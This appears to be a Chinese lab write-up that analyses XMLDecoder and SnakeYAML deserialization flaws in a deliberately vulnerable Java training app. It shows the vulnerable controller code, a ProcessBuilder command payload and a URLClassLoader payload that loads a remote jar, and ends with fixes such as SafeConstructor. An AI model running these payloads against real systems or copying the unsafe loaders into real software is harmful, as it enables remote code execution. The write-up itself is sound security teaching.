0.前言
这个靶场的这两个漏洞写的不是很好,而且也挺稀有的,第一个简单了解一下就行,第二个可以看一下那个payload的构建思路
1.xmldecoder反序列化漏洞
源代码分析
java
package org.bewhale.javasec.controller.deserialize;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;
@Controller
@RequestMapping("/home/deserialize")
public class XMLDecoder {
@RequestMapping("/xmldecoder")
public String xmlDecoder(String cmd, Model model) {
StringBuilder results = new StringBuilder();
String[] strCmd = cmd.split(" ");
StringBuilder sb = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
.append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")
.append(" <object class=\"java.lang.ProcessBuilder\">\n")
.append(" <array class=\"java.lang.String\" length=\"" + strCmd.length + "\">");
for (int i = 0; i < strCmd.length; i++) {
sb.append(" <void index=\"" + i + "\">")
.append(" <string>" + strCmd[i] + "</string>")
.append(" </void>");
}
sb.append(" </array>")
.append(" <void method=\"start\" />")
.append(" </object>")
.append("</java>");
String xml = sb.toString();
try {
java.beans.XMLDecoder xmlDecoder = new java.beans.XMLDecoder(new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8)));
xmlDecoder.readObject();
xmlDecoder.close();
model.addAttribute("results", results.append("执行成功!").append(System.lineSeparator()).append("XML:").append(System.lineSeparator()).append(sb));
} catch (Exception e) {
e.printStackTrace();
model.addAttribute("results", results.append(e));
}
return "deserialize/xmldecoder";
}
}
可以看到,服务端主动去把XML拼好了然后去读取然后触发了漏洞,正常来说应该是攻击者传入一段XML文件,然后服务器交给XMLDecoder.readObject ()最终触发漏洞,payload什么的直接输入命令就行,都不用你去构造XML,就像作者起的变量名一样,这真的很"sb"(StringBuilder),正常的代码应该是这样的:
java
XMLDecoder decoder = new XMLDecoder(外部输入流);
decoder.readObject();
不是说这个代码没有问题的意思,只是让人知道正常的流程而已
修复思路
java.beans.XMLDecoder 用来解析特定格式 XML、重建 Java 对象时
XML 内可以直接指定任意类、调用任意方法。
当前代码直接拼接可控参数 cmd 到 XML 文本,送入 XMLDecoder 解析,攻击者可控 XML 内容,构造恶意标签调用ProcessBuilder.start()实现命令执行。
XMLDecoder 设计本身极度危险,没有内置类白名单机制,官方不推荐用于解析不受信任的数据。 能替换就替换:使用 Jackson/JacksonXML、JAXB 等常规 XML 解析方案。
知识扩展
很多人混淆 XXE 和 XMLDecoder:
XXE:SAX/DOM 等 XML 解析器外部实体漏洞,读取文件、内网探测;
XMLDecoder 漏洞:JavaBean 专属对象反序列化,可以直接调用方法 RCE,二者完全不是一类漏洞。
2.SnakeYAML 反序列化
payload
普通payload:
!!java.lang.ProcessBuilder "cmd","/c","calc"
SnakeYAML 在默认构造器 下,支持 !! 标签指定 Java 类,自动实例化对象。
和 Fastjson
@type、Jackson@class思想高度相似。
ScriptEngineManager+URLClassLoader 方式:远程加载 Jar:
!!javax.script.ScriptEngineManager !.URLClassLoader \[\[!.URL \['[http://127.0.0.1:8000/upload/yaml-payload.jar](https://link.wtturl.cn/?target=http%3A%2F%2F127.0.0.1%3A8000%2Fupload%2Fyaml-payload.jar&scene=im&aid=582478&lang=zh "http://127.0.0.1:8000/upload/yaml-payload.jar")']]]
SnakeYaml 低版本支持 !!类名,直接 new 对象;同时支持把后面数组内容传入构造方法。
-
!!javax.script.ScriptEngineManager实例化ScriptEngineManager对象。 它有一个带 ClassLoader 参数的构造函数 :public ScriptEngineManager(ClassLoader loader) -
方括号
[xxx]= YAML 语法:给构造方法传入参数 所以等价 Java 代码:ClassLoader loader = URLClassLoader实例;
new ScriptEngineManager(loader); -
!!java.net.URLClassLoader实例化 URLClassLoader,作用:远程加载网络上的 jar 包 URLClassLoader 构造接收URL[]数组。 -
[[ !!java.net.URL ['http://127.0.0.1:8000/upload/yaml-payload.jar'] ]]
- 内层
!!java.net.URL创建 URL 对象(远程 jar 地址) - 双层
[[ ]]:代表传入URL 数组,匹配 URLClassLoader 构造方法参数类型
等价纯 Java 代码(payload 翻译成 Java)
URL url = new URL("http://127.0.0.1:8000/upload/yaml-payload.jar");
URL[] urls = new URL[]{url};
ClassLoader classLoader = new URLClassLoader(urls);
new ScriptEngineManager(classLoader);
源代码分析
java
package org.bewhale.javasec.controller.deserialize;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.yaml.snakeyaml.Yaml;
@Controller
@RequestMapping("/home/deserialize")
public class YamlLoad {
@RequestMapping("/yaml")
public String yaml(String content, Model model) {
try {
Yaml y = new Yaml();
y.load(content);
model.addAttribute("results", "执行成功!");
} catch (Exception e) {
e.printStackTrace();
model.addAttribute("results", e.toString());
}
return "deserialize/yaml";
}
}
感觉没什么好分析的,接口地址:/home/deserialize/yaml?content=可控yaml文本 外部可控字符串直接传入 Yaml.load()
修复思路
强制使用 SafeConstructor【首选,通用根治,不受版本限制】
SafeConstructor黑名单禁止绝大多数危险类,仅允许基础类型(字符串、数字、List、Map),不支持实例化自定义 / Java 危险类。
java
// 不安全旧代码
// Yaml y = new Yaml();
// 安全写法
Yaml y = new Yaml(new SafeConstructor());
y.load(content);